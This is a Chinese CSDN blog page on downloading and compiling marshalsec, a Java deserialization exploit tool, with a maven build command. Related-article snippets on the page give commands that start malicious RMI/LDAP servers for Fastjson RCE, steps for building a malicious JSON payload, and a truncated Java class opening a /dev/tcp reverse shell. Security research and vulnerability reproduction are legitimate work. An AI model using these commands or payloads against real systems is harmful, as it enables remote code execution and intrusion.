下载和安装marshalsec

最新推荐文章于 2024-07-25 11:55:14 发布
最新推荐文章于 2024-07-25 11:55:14 发布
阅读量5.5k 收藏 8
点赞数
分类专栏： 漏洞详情及漏洞复现 文章标签： jenkins web安全 安全 linux
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_54899775/article/details/122485232
版权

        marshalsec为java反序列化利用工具，下载地址：https://github.com/mbechler/marshalsec

这款神器，可以快速开启RMI和LDAP服务。当然你需要下载源码包，使用maven编译，安装maven和java环境可以参考：Kali安装JDK 1.8的详细过程_m0_54899775的博客-CSDN博客

kali linux安装maven_m0_54899775的博客-CSDN博客。（java环境和maven都是必须的，需要提前安装好）

        将marshalsec压缩包下载下来过后，需要解压过后或是在kali里面进行解压：

 进入此文件进行编译：

输入：mvn clean package -DskipTests

 编译完成的会有如下图片的结果显示：

景天zy
关注
  • 0
    点赞
  • 踩
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
marshalsec-0.0.3-SNAPSHOT-all.jar
08-23
Moritz Bechler编写，源码地址为：https://github.com/mbechler/marshalsec，下载下来之后使用maven编译，此工具为编译好的jar包，方便没有编译环境的同学们直接jar包开启ldap和rmi服务 开启rmi服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://VPS/ExportObject 1099 开启ldap服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS/ExportObject 1389 我使用这个来测试springboot jolokia的远程命令执行，也可以测试struts2 S系列的漏洞
java 反序列化利用工具marshalsec-0.0.3-SNAPSHOT-all
12-27
marshalsec命令格式如下： java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]] 参数说明： -a：生成exploit下的所有payload(例如：hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin） -t：对生成的payloads进行解码测试 -v：verbose mode, 展示生成的payloads gadget_type：指定使用的payload arguments - payload运行时使用的参数 marshalsec.<marshaller>：指定exploits，根目录下的java文件名
用marshalsec & Jndi注入利用工具（JNDI-Injection-Exploit）复现Fastjson反序列化漏洞--保姆级！复现过程！
2301_79837041的博客
04-11 2146
安装maven环境后，更新完环境变量，但是每次使用mvn命令必须在source之后才能使用，我用的是kali，网上文章说在~./bash里面更新source /etc/profile 我试过了，没有用，最后是换在ubuntu系统里面安装才成功的，目前还不知道为什么，有大佬知道可以告诉我一下。在fastjson中我们使用构造的json格式字符串进行反序列化的攻击，我们给指定类中的值输入恶意内容（rmi链接），让目标服务在反序列化的时候，请求rmi服务器，执行rmi服务器下发的命令，从而导致远程命令执行漏洞。
Fastjson1.2.24RCE漏洞复现
L1928的博客
05-18 888
1.启动环境并且访问 2.下载marshalsec-0.0.3-SNAPSHOT-all.jar 3.新建Shell.java文件 import java.lang.Runtime; import java.lang.Process; public class shell{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {“/bin/bash”,“-c”,“exec 5<>/dev/tcp/192.
最新版本marshalsec
Fly_鹏程万里
05-11 5343
工具下载 marshalsec-0.3.0.3-SNAPSHOT-all.jar下载 下载地址：https://download.csdn.net/download/Fly_hps/12409277 工具使用 命令格式 marshalsec命令格式如下： java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [&
marshalsec-jar-master、marshalsec-jar
05-15
marshalsec-jar-master、marshalsec-jar
java 反序列化利用工具 marshalsec 使用简介
热门推荐
whatday的专栏
08-11 2万+
命令格式 marshalsec命令格式如下： java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]] 参数说明： -a：生成exploit下的所有payload(例如：hessian下的SpringPartiallyComparableAdvisorHolder, Spri
marshalsec安装教程--参考
weixin_54353204的博客
08-01 397
踩坑 - Kali下安装配置maven，完美解决！_kali安装maven_哈哥撩编程的博客-CSDN博客。下载和安装marshalsec_景天zy的博客-CSDN博客。Kali下安装配置maven，完美解决！_kali安装maven。下载和安装marshalsec_安装marshalsec。
FastJson反序列化漏洞（复现）
小赵同学的博客
07-29 3928
漏洞利用FastJson autotype处理Json对象的时候，未对@type字段进行完整的安全性验证，攻击者可以传入危险类，并调用危险类连接远程RMI主机，通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞，获取服务器敏感信息，甚至可以利用此漏洞进一步的对服务器数据进行操作。......
marshalsec-0.0.3-SNAPSHOT-all.zip
12-14
marshalsec测试反序化漏洞可使用
marshalsec.zip
05-11
marshalsec安全工具
fastjson 1.2.24 反序列化导致任意命令执行漏洞 复现超详细步骤
yc11223344的博客
07-05 1396
在本地启动环境： 首先我们需要一个java的环境 新建文件夹并且在文件夹里面建一个txt文件命名为TouchFile.java，里面写入代码 cmd在文件夹目录运行 就会看到生成了一个class文件可以看一下这位师傅的文章python2.x执行命令为python3.x执行命令为要在class文件下执行命令，进行监听8000端口 我们可以访问：本机ip:8000 我们借助marshalsec项目开启RMI服务，监听9999端口 下载完marshalsec之后，进到该目录下cmd运行会生成一个target文件夹
Fastjson远程命令执行漏洞总结
weixin_42345596的博客
08-05 3471
一.FastJson 简介 fastjson.jar包原始下载地址：https://github.com/alibaba/fastjson fastjson用于将Java Bean序列化为JSON字符串，也可以从JSON字符串反序列化到JavaBean。fastjson.jar是阿里开发的一款专门用于Java开发的包，可以方便的实现json对象与JavaBean对象的转换，实现JavaBean对象与json字符串的转换，实现json对象与json字符串的转换。除了这个fastjson以外，还有Google开
Fastjson反序列化漏洞(1.2.24 RCE)
m0_61506558的博客
09-13 3064
Fastjson是一个JSON工具库,它的作用就是把java对象转换为json形式，也可以用来将json转换为java对象。@type引入这个功能的目的是在序列化的时候防止子类中包含接口或抽象类的时候，类型丢失，这样我们在反序列化的时候就不需要再指定类名。
探秘Marshalsec：Java安全研究的利器
gitblog_00030的博客
03-22 423
探秘Marshalsec：Java安全研究的利器 项目地址:https://gitcode.com/mbechler/marshalsec Marshalsec是一个开源项目，由开发者mbechler创建，专注于Java序列化相关的安全研究和漏洞利用。在信息安全领域，尤其是对于那些需要深入理解Java序列化机制的人来说，这是一个不可或缺的工具集。 项目简介 Marshalsec提供了多种Java序...
物理机 gogs+jenkins+sonarqube 实现CI/CD
最新发布
Richardlygo的博客
07-25 2098
其中ref就是推送过去的分支啦。以下的推送的内容都是可以通过文章后面设置jenkins变量来获得的。历史版本下载地址：　　http://www.oracle.com/technetwork/java/javase/archive-139210.html。当前最新版本下载地址：http://www.oracle.com/technetwork/java/javase/downloads/index.html。上述方法之所以安装不成功，主要是golang版本和golangci-lint版本不一致导致导致的；
fastjson1.2.47漏洞复现
07-27
根据引用\[1\]和引用\[2\]的内容，可以使用LDAP方法来利用fastjson1.2.47的漏洞。在实战情况下，推荐使用LDAP方法进行利用。fastjson1.2.47过滤了许多恶意类的上传姿势以及关闭了autoType，但是并不阻挡攻击者的攻击步骤。在fastjson中存在一个全局缓存，当有类进行加载时，如果autoType没有开启，会尝试从缓存中获取类，如果缓存中有，则直接返回。因此，可以通过上传一个带有恶意类的json数据，让它执行并存入缓存，从而绕过漏洞防护机制。\[2\] 具体的漏洞复现步骤如下： 1. 首先，需要启动一个RMI服务器，可以使用以下命令：java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://本机IP:1222/#Exploit" 9999。这个命令将在本地的1222端口上启动一个RMI服务器，并将其绑定到9999端口上。\[3\] 2. 接下来，需要构造一个恶意的json数据，其中包含恶意类的payload。可以使用各种方法来构造这个json数据，例如手动编写或使用工具生成。 3. 将构造好的恶意json数据发送给目标系统，触发fastjson解析该数据的过程。 4. 当fastjson解析恶意json数据时，会尝试从缓存中获取类。由于autoType没有开启，fastjson会尝试从缓存中获取类，如果缓存中有，则直接返回。 5. 通过这种方式，攻击者可以绕过fastjson的漏洞防护机制，执行恶意代码。 需要注意的是，漏洞复现仅用于安全研究和测试目的，未经授权的利用可能涉及违法行为，请遵守法律法规。 #### 引用[.reference_title] - *1* *3* [Fastjson命令执行漏洞复现（1.2.47和1.2.24）](https://blog.csdn.net/xiaobai_20190815/article/details/124117105)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [fastjson1.2.47漏洞复现](https://blog.csdn.net/m0_63699746/article/details/131551535)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值